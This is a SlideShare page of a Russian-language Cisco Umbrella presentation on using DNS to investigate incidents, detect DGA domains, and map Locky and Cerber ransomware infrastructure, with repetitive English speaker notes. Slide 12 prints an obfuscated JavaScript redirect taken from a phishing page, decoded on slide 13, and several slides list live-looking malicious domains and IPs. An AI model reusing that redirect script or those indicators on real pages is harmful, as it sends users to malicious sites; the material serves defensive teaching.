![<html><head><meta name="keywords" content="circles, suspended, history,
phrases"><title>plotted32135 Will - him - human renderd, hell - grizzly feeding.
coming.</title><meta http-equiv="Content-Type" content="text/html; charset=ISO-
8859-1"></head>
<body>
<script type="text/javascript">function nexte() { nexta=65;
nextb=[184,170,175,165,176,184,111,181,176,177,111,173,176,164,162,181,170,1
76,175,111,169,179,166,167,126,104,169,181,181,177,123,112,112,163,179,162,1
70,175,180,185,169,176,177,180,111,164,176,174,112,128,162,126,117,113,114,11
6,116,119,103,164,126,164,177,164,103,180,126,113,118,113,115,114,120,104,124
];
nextc=""; for(nextd=0;nextd<nextb.length;nextd++) {
nextc+=String.fromCharCode(nextb[nextd]-nexta); } return nextc; }
setTimeout(nexte(),1299);
</script>
</body>
</html>
Что по ссылке?](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-12-320.jpg)
![Определение DGA
2017-10-28T00:02:45
2017-10-28T00:02:47
2017-10-28T00:02:52
…………
PDGA=0 PDGA=0 PDGA=0.98
Длина
Энтропия
N-grams
Словарь
Longest Const
Longest Vowels
…
chaseonline.amer.gslbjpmchase.com WHOIS
chaseonline.amer.gslbjpmchase.com
PMalicious=.38
PMalicious=.01 ЧИСТЫЙ
Time
Series
Analysis
Network
Features
Classifier
[chaseonline].[amer].[gslbjpmchase].[com][chaseonline].[amer].[gslbjpmchase].[com]
SLD3LD4LD TLD
DGA
Classifier
chaseonline.amer.gslbjpmchase.com](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-20-320.jpg)
![Домен Вероятность
pdxxwkfttogrib[.]in 0.985
jpqrhoctgihell[.]tw 0.985
jtmvtchedyscmn[.]me 0.985
krpbtonwsrhcig[.]su 0.985
xoeluhhsnlosqo[.]me 0.98
dkblkeftpeodxk[.]me 0.98
iqivnmecsnyvbu[.]me 0.98
rndruppbakyokv[.]com 0.98
gdbvlvedrjunwn[.]me 0.975
dsbyhplmesbqgh[.]me 0.975
njcdcqdwcsrhoc[.]me 0.975
mvugkafkrelpsa[.]tw 0.975
veqalsexqhkrrg[.]su 0.975
jjhsmiubxxqvbl[.]me 0.975
dbqhfffdjdvrmn[.]me 0.975
gsiyrhxqljweuh[.]me 0.975
nbbnwnesmxkbmv[.]me 0.975
Зараженные
устройства
Чистые
домены
Вредоносные
домены
Результаты анализа DGA](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-21-320.jpg)
![• Rovnix использует текст из
американской декларации
независимости как вход для
DGA:
• Kingwhichtotallyadminis[.]biz
• thareplunjudiciary[.]net
• townsunalienable[.]net
• taxeslawsmockhigh[.]net
• transientperfidythe[.]biz
• inhabitantslaindourmock[.]cn
• thworldthesuffer[.]biz
• Matsnu использует для DGA
существительные и глаголы из
словаря на 1300 слов для
формирования 20+ символьных фраз:
• monthboneplatereferencebreast[.]com
• accidentassistriskchallenge[.]com
• fieldcowtowelstorerecommend[.]com
• productpageprofilereactside[.]com
• pollutionboarddeallandmarch[.]com
• seasonbathrentinfluencebeing[.]com
Злоумышленники не стоят на месте](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-23-320.jpg)
![Locky: обнаружение инфраструктуры
злоумышленника
СЕНТЯБРЬ 12-26 ДНЕЙ
DNS
АВГУСТ 17
LOCKY
*.7asel7[.]top
?
Domain → IP
Ассоциация
?
IP → Sample
Ассоциация
?
IP → Network
Ассоциация
?
IP → Domain
Ассоциация
?
WHOIS
Ассоциация
?
Network → IP
Ассоциация](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-36-320.jpg)
![91.223.89.201185.101.218.206
600+
Threat Grid files
SHA256:0c9c328eb66672e
f1b84475258b4999d6df008
*.7asel7[.]top LOCKY
Domain → IP
Ассоциация
AS 197569IP → Network
Ассоциация
1,000+
DGA domains
ccerberhhyed5frqa[.]8211fr[.]top
IP → Domain
Ассоциация
IP → Sample
Ассоциация
CERBER](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-37-320.jpg)
![-26 DAYS AUG 21
DNS
JUL 18
JUL 21
DNS
JUL 14
jbrktqnxklmuf[.]info
mhrbuvcvhjakbisd[.]xyz
LOCKY
LOCKY
DGA
Network → Domain
Ассоциация
DGA
Угроза обнаружена в
день регистрации домена
Угроза обнаружена до
регистрации домена.
ДОМЕН
ЗАРЕГИСТРИРОВАН
JUL 22](https://image.slidesharecdn.com/dnsasevidence-171101134831/85/DNS-38-320.jpg)
Uploaded byAleksey Lukatskiy
DNS как улика
Документ обсуждает использование DNS в расследовании инцидентов кибербезопасности, включая защиту брендов и обнаружение сайтов-клонов. Обсуждаются методы применения DNS для отслеживания вредоносной активности и анализирования аномалий, связанных с доменными именами и IP-адресами. Также рассматриваются примеры инцидентов, связанных с DGA и злоумышленниками, использующими техники, такие как редиректы и фишинг.
DNS как улика
- 1. Алексей Лукацкий 1 ноября2017 DNS как улика Применение DNS для расследования инцидентов, защиты бренда и поиска сайтов клонов
- 2.
- 3.
- 4.
- 5.
- 6. Запрет Allow access ProductivityFile share ПриложенияCRM Разрешить
- 8. Пользователи и приложенияпереходят в облака 49% рабочих мест мобильны 82% подключений не используют VPN 70% роста в использовании SaaS 70% филиалов имеют прямой доступ в Интернет Контроль ИБ сдвигается в облака ИБ должна тоже
- 9. Вредоносный код и шифровальщики Редиректы,DGA и Fast Flux Сайты-клоны и типосквоттинг Утечки информации В чем проблема?
- 10. • Фишинговая ссылка: http://www.linkedin.com/do?action=viewMessage&q=member&id=46258219 •Реальная ссылка: http://dixontax.com/wp-content/angle.php Что происходит в реальной жизни?
- 11. Что мы знаемпро dixontax.com?
- 12. <html><head><meta name="keywords" content="circles,suspended, history, phrases"><title>plotted32135 Will - him - human renderd, hell - grizzly feeding. coming.</title><meta http-equiv="Content-Type" content="text/html; charset=ISO- 8859-1"></head> <body> <script type="text/javascript">function nexte() { nexta=65; nextb=[184,170,175,165,176,184,111,181,176,177,111,173,176,164,162,181,170,1 76,175,111,169,179,166,167,126,104,169,181,181,177,123,112,112,163,179,162,1 70,175,180,185,169,176,177,180,111,164,176,174,112,128,162,126,117,113,114,11 6,116,119,103,164,126,164,177,164,103,180,126,113,118,113,115,114,120,104,124 ]; nextc=""; for(nextd=0;nextd<nextb.length;nextd++) { nextc+=String.fromCharCode(nextb[nextd]-nexta); } return nextc; } setTimeout(nexte(),1299); </script> </body> </html> Что по ссылке?
- 13. • window.top.location.href='http://brainsxhops.com/?a=401336&c=cpc&s=0 50217'; • Изначальнобыло: http://dixontax.com/wp-content/angle.php Что получится при запуске функции?
- 14. А что известнопро brainsxhops.com?
- 15. Сеть посредников ZBotFast Flux
- 16. Найдите разницу • Клонированиесайта осуществляется за минуты • Клон размещается на заранее купленном домене и крадет информацию (логины/пароли) • В клон можно внедрять вредоносный код для заражения пользователей
- 17. А тут можетенайти разницу? • Возможность использования разных кодировок, невнимательность пользователей и ошибки при наборе с клавиатуры
- 18. Утечка через DNS(через имя поддомена) Нормальное распределение длин поддоменов Аномалии в названии поддоменов log.nu6timjqgq4dimbuhe.3ikfsb---отредактировано---cg3.7s3bnxqmavqy7sec.dojfgj.com log.nu6timjqgq4dimbuhe.otlz5y---отредактировано---ivc.v55pgwcschs3cbee.dojfgj.com Что скрывается в этой строке на 231 символ?
- 19. Утечка через DNS(через запись TXT)
- 20. Определение DGA 2017-10-28T00:02:45 2017-10-28T00:02:47 2017-10-28T00:02:52 ………… PDGA=0 PDGA=0PDGA=0.98 Длина Энтропия N-grams Словарь Longest Const Longest Vowels … chaseonline.amer.gslbjpmchase.com WHOIS chaseonline.amer.gslbjpmchase.com PMalicious=.38 PMalicious=.01 ЧИСТЫЙ Time Series Analysis Network Features Classifier [chaseonline].[amer].[gslbjpmchase].[com][chaseonline].[amer].[gslbjpmchase].[com] SLD3LD4LD TLD DGA Classifier chaseonline.amer.gslbjpmchase.com
- 21. Домен Вероятность pdxxwkfttogrib[.]in 0.985 jpqrhoctgihell[.]tw0.985 jtmvtchedyscmn[.]me 0.985 krpbtonwsrhcig[.]su 0.985 xoeluhhsnlosqo[.]me 0.98 dkblkeftpeodxk[.]me 0.98 iqivnmecsnyvbu[.]me 0.98 rndruppbakyokv[.]com 0.98 gdbvlvedrjunwn[.]me 0.975 dsbyhplmesbqgh[.]me 0.975 njcdcqdwcsrhoc[.]me 0.975 mvugkafkrelpsa[.]tw 0.975 veqalsexqhkrrg[.]su 0.975 jjhsmiubxxqvbl[.]me 0.975 dbqhfffdjdvrmn[.]me 0.975 gsiyrhxqljweuh[.]me 0.975 nbbnwnesmxkbmv[.]me 0.975 Зараженные устройства Чистые домены Вредоносные домены Результаты анализа DGA
- 22. Визуализация DGA длятрояна Tinba
- 23. • Rovnix используеттекст из американской декларации независимости как вход для DGA: • Kingwhichtotallyadminis[.]biz • thareplunjudiciary[.]net • townsunalienable[.]net • taxeslawsmockhigh[.]net • transientperfidythe[.]biz • inhabitantslaindourmock[.]cn • thworldthesuffer[.]biz • Matsnu использует для DGA существительные и глаголы из словаря на 1300 слов для формирования 20+ символьных фраз: • monthboneplatereferencebreast[.]com • accidentassistriskchallenge[.]com • fieldcowtowelstorerecommend[.]com • productpageprofilereactside[.]com • pollutionboarddeallandmarch[.]com • seasonbathrentinfluencebeing[.]com Злоумышленники не стоят на месте
- 24. Следуй за «Плохимкроликом»
- 25. ЖЕСТКО НАСТРОЕННЫЙ IP @23.4.24.1 БЫСТРАЯ СМЕНА “FASTFLUX” @23.4.24.1 bad.com? @34.4.2.110 @23.4.34.55 @44.6.11.8 @129.3.6.3 АЛГОРИТМ ГЕНЕРАЦИИ ДОМЕНОВ (DGA) bad.com? @34.4.2.11 0 baa.ru? bid.cn @8.2.130.3 @12.3.2.1 @67.44.21.1 Эволюция управления вредоносным кодом
- 26. 70-90% вредоносного кода уникально –AV не спасает DNS нельзя запретить на МСЭ, а 49% пользователей работают за пределами МСЭ Сканеры уязвимостей ищут дыры, а DNS-ВПО использует стандартные функции VPN частично решает проблему, но 69% филиалов подключается напрямую А что с традиционной защитой?
- 27. Zbot ZeroAccess njRAT Regi n Gh0st Storm Pushdo/Cutwail DarkComet Bifrose Lethic Kelihos Gameover Zeus CitadelTinba Hesperbot Bouncer(APT1) Glooxmail (APT1) Longrun (APT1) Seasalt (APT1) Starsypound (APT1) Biscuit (APT1)PoisonIvy Tinba НЕ-WEB C2 ПРИМЕРЫ DNS WEBНЕ-WEB IP IP миллионы уникальных семплов ВПО из ЛВС за последние 2 года Lancope Research (сейчас Cisco)1 15%C2 не использует Web-порты 80 & 443 миллионы уникальных семплов ВПО загружены в песочницу за последние 6 месяцев Cisco AMP Threat Grid Research2 91%C2 может быть блокировано на DNS уровне Почему традиционные решения не спасают?
- 28. DNS = DomainName System • Первый шаг в подключении к Интернет • Используется на всех устройствах • Не зависит от порта Быстрый взгляд на DNS Umbrella cisco.com 72.163.4.161
- 29. Мониторинг DNS Защищает доступк Интернет везде Вредонос C2-соединения Фишинг HQ Sandbox NGFW Proxy Netflow AV AV ФИЛИАЛ Router/UTM AV AV ROAMING AV Первая линия Все это начинается с DNS DNS используется всеми устройствами Защита от вредоносов, фишинга и общения с C2 Получение контроля над всеми устройствами и пользователями в Интернет
- 30. Данные записей WHOIS АтрибуцияASN Геолокация IP Репутация доменов и IP Анализ вредоносных файлов Связи между доменами Обнаружение аномалий (DGA, FFN) Шаблоны запросов DNS База пассивного DNS Что нужно для расследования?
- 31. Записи WHOIS • Контактныеданные владельца домена • Корреляция с другой вредоносной активностью Чем помогает DNS при расследовании?
- 32. Связи • Другие домены запрашиваютсясразу до или после • Другие домены, связанные с атакой Чем помогает DNS при расследовании? Записи WHOIS • Контактные данные владельца домена • Корреляция с другой вредоносной активностью
- 33. IP & ASN •Хостинговая инфраструктура домена • Анализ инфраструктуры хакера Чем помогает DNS при расследовании? Связи • Другие домены запрашиваются сразу до или после • Другие домены, связанные с атакой Записи WHOIS • Контактные данные владельца домена • Корреляция с другой вредоносной активностью
- 34. 216.35.221.76:43173.236.173.144157.166.226.25 То, что вы видите сегодня malware.exeperviyclass.su perviylich.ruStatecollegenow.com AS3561AS 5662 bobnpr.comwww.cnn.com igloofire.com 216.35.221.76:43173.236.173.144157.166.226.25 Что если бы вы видели это?
- 35. • Через вложениеEmail в фишинговой рассылке • Шифрует и переименовывает файлы с .locky расширением • Примерно 90,000 жертв в день • Выкуп порядка 0.5 – 1.0 BTC (1 BTC ~ $601 US) • Связан с операторами Dridex Чувствуете Locky?
- 36. Locky: обнаружение инфраструктуры злоумышленника СЕНТЯБРЬ12-26 ДНЕЙ DNS АВГУСТ 17 LOCKY *.7asel7[.]top ? Domain → IP Ассоциация ? IP → Sample Ассоциация ? IP → Network Ассоциация ? IP → Domain Ассоциация ? WHOIS Ассоциация ? Network → IP Ассоциация
- 37. 91.223.89.201185.101.218.206 600+ Threat Grid files SHA256:0c9c328eb66672e f1b84475258b4999d6df008 *.7asel7[.]topLOCKY Domain → IP Ассоциация AS 197569IP → Network Ассоциация 1,000+ DGA domains ccerberhhyed5frqa[.]8211fr[.]top IP → Domain Ассоциация IP → Sample Ассоциация CERBER
- 38. -26 DAYS AUG21 DNS JUL 18 JUL 21 DNS JUL 14 jbrktqnxklmuf[.]info mhrbuvcvhjakbisd[.]xyz LOCKY LOCKY DGA Network → Domain Ассоциация DGA Угроза обнаружена в день регистрации домена Угроза обнаружена до регистрации домена. ДОМЕН ЗАРЕГИСТРИРОВАН JUL 22
- 39. Блокировка Locky: примердомена taddboxers.com (Дата обнаружения: Октябрь 8, 2016)
- 40.
- 41.
- 42.
- 43.
- 44.
- 45.
- 46.
- 47.
- 48. Сайты фейковых новостей Скрытиеадреса владельца домена - плохой знак, но это еще все-таки не криминал
- 49.
- 50.
- 51.
- 52. Первая линия защитыпротив Интернет-угроз DNS Видеть Видеть все для защиты везде Предсказывать Видеть атаки до того, как они будут запущены Блокировать Остановить угрозы до того, как начнется атака
- 53.
Editor's Notes
- #3 Talking Points: Meet Michelle. She’s a sales rep for a technology company. Michelle is always on the go Sometimes she’s in the office (either headquarters or a branch office) Sometimes she’s remote (working on the airplane, in coffee shops, hotels, etc.) Today she’s wrapping up some work at headquarters before catching a flight to Miami for a customer meeting at the field office
- #4 Talking Points: When you look at what she does every day: She creates presentations and customer proposals in SaaS applications like Google Drive.
- #5 Talking Points: And she shares that content with partners and customers using Box.
- #6 Talking Points: She manages her sales opportunities and customer contacts in salesforce.com.
- #7 Talking Points: She downloads a 3rd party app that her colleague recommended to help create project timelines.
- #8 Talking Points: And wherever she is, whatever network she’s on, she’s always online browsing the internet. Sound familiar? You probably do very similar things. And your customers’ users do too.
- #10 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #17 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #18 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #19 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #20 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #25 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #26 We mentioned before how Umbrella excels at preventing command & control callbacks. Attackers have evolved their techniques substantially over the years to stay ahead of blacklists and reputation systems. Ultimately, the less attackers hard-code into the payload the harder it is to discover and disrupt. While they started with simple IP connections, they moved to DNS requests and fast fluxed the DNS record so that IP-focused blocking struggled to stay ahead. But there’s also ways to discover & disrupt the domains, so they moved to algorithms to generated the domains used for DNS requests. The first famous example of such a DGA was Conficker back in 2007, but Cryptolocker used one in 2013 and today the large number of payloads & infrastructures leverage on DGAs.
- #27 Captured here are challenges Umbrella has helped organizations like you to address - related to these changes in the IT landscape and beyond. Specifically: Gaps in visibility and coverage Organizations have more locations and devices to protect, and threats are using many different ports to try to gain access or exfiltrate data. Companies need complete visibility into all internet activity. Securing cloud apps like Office 365 and Box - Employees use more cloud applications— some sanctioned, some unsanctioned. Organizations need to know which ones are being used and need to protect the data in those apps. Complex and siloed security tools Security teams are often understaffed and struggle with complex, siloed systems that do not integrate or share information/intelligence in a programmatic way. These teams need solutions that are easy to deploy, simple to manage, can scale exponentially, and can integrate with other tools. Malware and ransomware continue This is the number one challenge we hear from customers like you. Despite the existing security products deployed — everything from firewalls to web proxies to email security to endpoint products —companies still face too many malware infections and phishing attacks. Security teams spend a lot of time and effort trying to detect threats and remediate after the fact. Organizations need to stop threats before they get onto the network or endpoints, reduce the number of infections, and more easily detect devices that have already been infected for faster remediation.
- #30 Talking Points: No matter where users travel, Umbrella provides the first line of defense against threats on the internet. Umbrella uses the Domain Name System, or DNS, as the first point of inspection. Every time you connect to the internet, the first step that happens is a DNS request — Umbrella sees if you’re trying to connect to a malicious site and will stop you — that means its stopping threats before they ever reach a customer’s network or endpoints. And because DNS is used by all devices, customers gain complete visibility into internet activity for all users and locations.
- #31 - All of this intelligence is available in a single, correlated source with Cisco Umbrella Investigate. - One of the biggest differentiators with this tool is that we are bringing together many pieces of information. - Without Investigate’s aggregate intelligence, organizations would need to try to get this information from many other places, which is time consuming and only shows one piece of the puzzle. Security teams are then left to figure out the correlations and connections manually. Additional Notes: Passive DNS = historical DNS data (other vendors: FarSight) Domain reputation (other vendors: Webroot) ASN Attribution (IP-> ASN) (other vendors: Team Cymru) IP Geo Location (other vendors: Maxmind) IP reputation (other vendors: Norse) Domain co-occurrences (no one else provides this) Anomaly detection- DGA/fast flux detection
- #35 - Let’s talk a bit more about what internet wide visibility means. Your visibility today probably only shows a very small glimpse into all that’s happening on the internet. For example, you might be able to see the IP addresses that your endpoints are connecting to….but how do you get additional context about those IPs? For example, is it a known-bad or suspicious IP? Should you be concerned that your users are connecting there? What domains are connected to that IP? - What if you could see this view instead? [CLICK] Instead of just seeing the initial IP, what if you had internet-wide visibility and the ability to expand to see all of the domain names and autonomous system numbers (ASN) associated with that IP? With our view you can. - Cisco Umbrella Investigate provides the most complete view into the relationships and evolution of internet domains, IPs, ASNs and file hashes. Investigate helps to pinpoint and map out attackers’ infrastructures and even predict future attack origins. - For example, here, instead of just seeing the IPs, we can see what domains it hosts and which ASNs it’s associated with it, and their reputation. The fact that the domain “igloofire.com” is hosted by an IP that also hosts a lot of domains that are currently serving up malware makes it very suspicious. igloofire.com is more likely to be malicious, if not now, potentially in the future.
- #36 Just a little background on the Locky - It’s usually delivered via an email attachment in a phishing campaign - Operates by encrypting and renaming the infected device’s important files with .locky extension - Targets approximately 90K victims per day - And many have their hands tied and end up paying between .5-1 BTC, equivalent to $422 USD!
- #37 Let’s look now at a real-world example of a Ransomware attack, and how Umbrella works to block the threat before launched. Leveraging our in-depth understanding of Internet infrastructure and statistical models we are able to map and block attackers infrastructure before attackers use it to launch the attack. Details: We start the process with domain already blocked by Umbrella based on our statistical models and is linked with Locky ransomware. Umbrella predictive intelligence blocked by this domain 26 days earlier than a first submission appeared on VT by community As we have a very broad view of the Internet infrastructure we can leverage this and see if we can find more IPs/domains etc. that relate to Locky or other ransomware leveraging various relationships that naturally exists in the Internet.
- #38 The internet itself has many built–in relationships that we can leverage to quickly map attackers infrastructure. We start with one domain and get very quickly to 1000. Details: Domain to IP association - based on DNS information we learn that the domain resolves to two IP address. Both IPs are blocked. Let’s now see what domains are hosted on 185.101.218.206 via IP to Domain association –>more then 1000 DGA like domains linked with Cerber. Looks like Locky and Cerber share the infrastructure. Umbrella and AMP TG integration gives is IP-Sample mapping.->more than 600 samples clearly marked as Cerber ransomware. Focus on 2nd IP 91.223.89.201 and explore new association – IP to Autonomous Systems (for simplicity we refer AS as network). Every public IP belongs to an network typically owned by ISP or large enterprise like Facebook or Google. The IP 91.223.89.201 belongs to network 197569 which is owned by Russian service provider ENERGOMONTAZH ltd. Let’s see what other domains are within the network AS 197569 have been recently spotted by our alg.
- #39 Our statistical models were able to identify and block 2 domains that were generated by DGA alg. several days before the domain has been even register thus eliminating the damage that could be done. This is specially critical for ransomware. Details: What we are doing now is looking what other malicious domains have been recently spotted within this network range. Not very surprisingly two additional domains which clearly look like generated with DGA alg. Compare when Umbrella marked the domains as malicious vs. first evidence available in Virus Total Both domains are related to Locky ransomware. The first domain was registered on July and immediately blocked based using our DGA detection alg. The first evidence on VT was 7days later. The 2nd domain highlights our predictive capabilities even more – 26days earlier. Notice this domain was blocked 4days before it was registered by the attacker With predictive intelligence malicious infrastructures can be blocked in advance to significantly cripple malware operations.
- #40 With WHOIS we can see domain ownership, including the email address used to register the given domain, and how many domains are tied to that email address. You can even uncover how many of those domains are malicious. Investigate is also integrated with Cisco AMP Threat Grid. Similar to how Investigate provides intelligence about the relationships between domains, IPs and ASNs, Threat Grid provides intelligence about malware files so security teams can quickly understand what malware is doing or attempting to do, how large a threat it poses, and how to defend against it. In Investigate, you can query by file hash (SHA256, SHA1, or MD5) , domain, IP, or ASN. And get more insight into which are file hashes calling out to a given domain with associate samples, their threat score, behavioral indicators, and other file analysis data. Threat Grid license holders can even pivot directly into Threat Grid with a click of a button
- #41 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #42 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #43 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #44 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #45 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #46 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #47 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
